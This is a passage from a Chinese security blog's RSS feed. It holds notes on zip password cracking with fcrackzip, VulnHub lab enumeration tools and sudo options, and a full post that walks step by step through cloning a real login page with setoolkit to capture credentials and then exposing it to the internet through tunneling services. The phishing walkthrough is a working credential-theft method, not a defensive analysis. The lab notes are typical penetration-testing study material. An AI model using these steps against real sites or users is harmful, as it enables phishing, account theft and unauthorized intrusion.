&lt;p>  -b 表示使用暴利破解的方式&lt;/p>
&lt;/li>
&lt;li>
&lt;p>  -c &amp;lsquo;aA1&amp;rsquo; 表示使用大小写字母和数字混合破解的方式&lt;/p>
&lt;/li>
&lt;li>
&lt;p>  -l 1-10 表示需要破解的密码长度为1到10位&lt;/p>
&lt;/li>
&lt;li>
&lt;p>  -u 表示只显示破解出来的密码，其他错误的密码不显示出&lt;/p>
&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip
&lt;/code>&lt;/pre>&lt;ul>
&lt;li>
&lt;p>-D 表示要使用字典破解&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-p 表示要使用那个字典破解&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="nano">nano&lt;/h2>
&lt;p>我自己本人经常死脑筋只会用vim或者vi来修改文件，但其实很多靶机都会有这个坑，就是没有vi系列，只能用nano&lt;/p>
&lt;h2 id="uidgideuidegidsuidsgid">UID、GID、EUID、EGID、SUID、SGID&lt;/h2>
&lt;p>内容比较多，简单说一下&lt;/p>
&lt;p>UID是当前实际用户，GID是当前用户组，EUID是文件有效用户，EGID是文件有效用户组&lt;/p>
&lt;p>而SUID和SGID更像是设置“全局变量”（其实我也还不太理解，因为暂时没怎么用到），感兴趣的可以看&lt;a href="https://blog.csdn.net/weixin_42142630/article/details/121516126">这里&lt;/a>&lt;/p>
&lt;h2 id="硬链接和软链接">硬链接和软链接&lt;/h2>
&lt;p>简单来说，在linux文件结构中，硬链接更像是一个“实时同步”，并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看&lt;a href="https://zhuanlan.zhihu.com/p/67366919">这里&lt;/a>&lt;/p></description></item><item><title>[VulnHub]第一章</title><link>https://redshome.top/posts/2023-07-05-vulnhub%E7%AC%AC%E4%B8%80%E7%AB%A0/</link><pubDate>Wed, 05 Jul 2023 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2023-07-05-vulnhub%E7%AC%AC%E4%B8%80%E7%AB%A0/</guid><description>&lt;blockquote>
&lt;p>本期靶场：EMPIRE系列&lt;/p>
&lt;/blockquote>
&lt;h2 id="getcap和setcap">getcap和setcap&lt;/h2>
&lt;p>内容比较复杂，看&lt;a href="https://blog.csdn.net/megan_free/article/details/100357702">这里&lt;/a>&lt;/p>
&lt;p>大概就是可以了解一些文件的操作权限是什么，比如一个有root读取权限的可执行文件就能利用&lt;/p>
&lt;h2 id="netdiscover">netdiscover&lt;/h2>
&lt;p>一句命令即可查完内网存活主机，比nmap快n倍&lt;/p>
&lt;h2 id="dirb">dirb&lt;/h2>
&lt;p>目录扫描，dirsearch可以平替，但两者字典库不一定一样&lt;/p>
&lt;h2 id="enum4linux">enum4linux&lt;/h2>
&lt;p>用来枚举已开启SMB服务的linux主机用户&lt;/p>
&lt;h2 id="wfuzz">wfuzz&lt;/h2>
&lt;p>模糊路径搜索器，和dirsearch最大区别就在于能够指定一些参数和模糊路径，例如枚举&lt;code>/~myfiles&lt;/code>这样的东西。具体用法&lt;a href="https://zhuanlan.zhihu.com/p/546569910">看这里&lt;/a>&lt;/p>
&lt;h2 id="ffuf">ffuf&lt;/h2>
&lt;p>也是一个模糊搜索工具，不一样的地方在于这个工具是可以自己选择后缀名的&lt;/p>
&lt;p>什么意思呢，比如用wfuzz扫&lt;code>http://192.168.2.17/~secret/.FUZZ&lt;/code>这个链接，结果只能是某个目录，而如果使用ffuf，则可以扫描到名叫&lt;code>FUZZ&lt;/code>的某个文件html，txt，php等各种可自定义后缀的文件&lt;/p>
&lt;h2 id="base家族">Base家族&lt;/h2>
&lt;p>凡是带有&lt;code>=&lt;/code>填充符，base64要是不行就试试58或者其他的&lt;/p>
&lt;h2 id="ssh2john">ssh2john&lt;/h2>
&lt;p>这是一个ssh私钥处理脚本，在使用john进行ssh私钥爆破时需要先用这个脚本处理&lt;/p>
&lt;h2 id="sudo">sudo&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>-V 显示版本编号&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-h 会显示版本编号及指令的使用方式说明&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-l 显示出自己（执行 sudo 的使用者）的权限&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行（N 预设为五）会问密码，这个参数是重新做一次确认，如果超过 N 分钟，也会问密码&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-k 将会强迫使用者在下一次执行 sudo 时问密码（不论有没有超过 N 分钟）&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-b 将要执行的指令放在背景执行&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-p prompt 可以更改问密码的提示语，其中 %u 会代换为使用者的帐号名称， %h 会显示主机名称&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-u username/#uid 不加此参数，代表要以 root 的身份执行指令，而加了此参数，可以以 username 的身份执行指令（#uid 为该 username 的使用者号码）&lt;/p>
&lt;/li>
&lt;li>
&lt;p>-s 执行环境变数中的 SHELL 所指定的 shell ，或是 /etc/passwd 里所指定的 shell&lt;/p></description></item><item><title>Red的钓鱼网站</title><link>https://redshome.top/posts/2022-11-15-18/</link><pubDate>Tue, 15 Nov 2022 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2022-11-15-18/</guid><description>&lt;h2 id="方法">方法&lt;/h2>
&lt;p>要想制作一个钓鱼网站，就需要满足以下几点条件：&lt;/p>
&lt;p>1）一个与原网站高度相似的html页面&lt;br>
2）一台能够与受害者主机有直接或间接联系的终端&lt;/p>
&lt;p>虽然看着简单，但单要完成第一步可以说就已经让一些人够呛。所以，想要在Windows上用一般的方法来实现这一目的，显然是比较复杂的。所以Red便下意识地将目光转向了kali。好在kali集成了一款十分强大的工具&lt;code>setoolkit&lt;/code>&lt;/p>
&lt;p>下面就是我们今天的犯罪嫌疑人Red的操作步骤&lt;br>
在kali命令行中输入&lt;code>setoolkit&lt;/code>，就可以打开这一工具。第一次打开需要输入y来进行工具依赖的安装&lt;br>
&lt;img alt="1" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC1.png" title="1">&lt;/p>
&lt;p>会出现以下内容&lt;br>
&lt;img alt="2" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC2.png" title="2">&lt;br>
拉到下方，会出现如下内容&lt;br>
&lt;img alt="2" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC3.png" title="2">&lt;br>
翻译后内容如下&lt;/p>
&lt;pre tabindex="0">&lt;code>社会工程学攻击
快速追踪测试
第三方模块
升级软件
升级配置
帮助
&lt;/code>&lt;/pre>&lt;p>输入1&lt;br>
&lt;img alt="3" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC4.png" title="3">&lt;/p>
&lt;pre tabindex="0">&lt;code>鱼叉式网络攻击
网页攻击
传染媒介式
建立payload和listener
邮件群发攻击
Arduino基础攻击
无线接入点攻击
二维码攻击
Powershell攻击
第三反方模块
&lt;/code>&lt;/pre>&lt;p>输入2&lt;br>
&lt;img alt="4" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC5.png" title="4">&lt;/p>
&lt;pre tabindex="0">&lt;code>Java applet攻击
Metasploit浏览器攻击
钓鱼网站攻击
标签钓鱼攻击
网站jacking攻击
多种网站攻击
全屏幕攻击
&lt;/code>&lt;/pre>&lt;p>输入3&lt;br>
&lt;img alt="5" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC6.png" title="5">&lt;/p>
&lt;pre tabindex="0">&lt;code>网站模板
站点克隆
用自己的网站
&lt;/code>&lt;/pre>&lt;p>输入2，这里进行网站克隆，默认状态下对本地ip回车即可，将oj的登陆网站输入进来，等待捕获输入信息即可。这里用账号：&lt;code>admin&lt;/code>，密码：&lt;code>IST22006&lt;/code>来输入，可以看到如下内容&lt;br>
&lt;img alt="6" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC7.png" title="6">&lt;br>
&lt;img alt="7" loading="lazy" src="https://redshome.top/posts/2022-11-15-18/images/%E9%92%93%E9%B1%BC8.png" title="7">&lt;/p>
&lt;p>可以看到成功捕获，钓鱼网站制作成功~&lt;/p>
&lt;h2 id="怎样让外网访问到">怎样让外网访问到？&lt;/h2>
&lt;p>这就需要用到一种技术：内网穿透&lt;br>
内网穿透的目的是：让外网能访问你本地的应用，例如在外网打开你本地&lt;a href="http://127.0.0.1">http://127.0.0.1&lt;/a> 指向的Web站点。&lt;br>
那怎么才能实现内网穿透呢？现有工具有花生壳，natapp，小米球工具，前两个都是收费的，最后一个生成的域名前缀是自己设置的，穿透域名是xx.ngrok.xiaomiqiu.cn.有兴趣的可以玩一下。&lt;/p></description></item></channel></rss>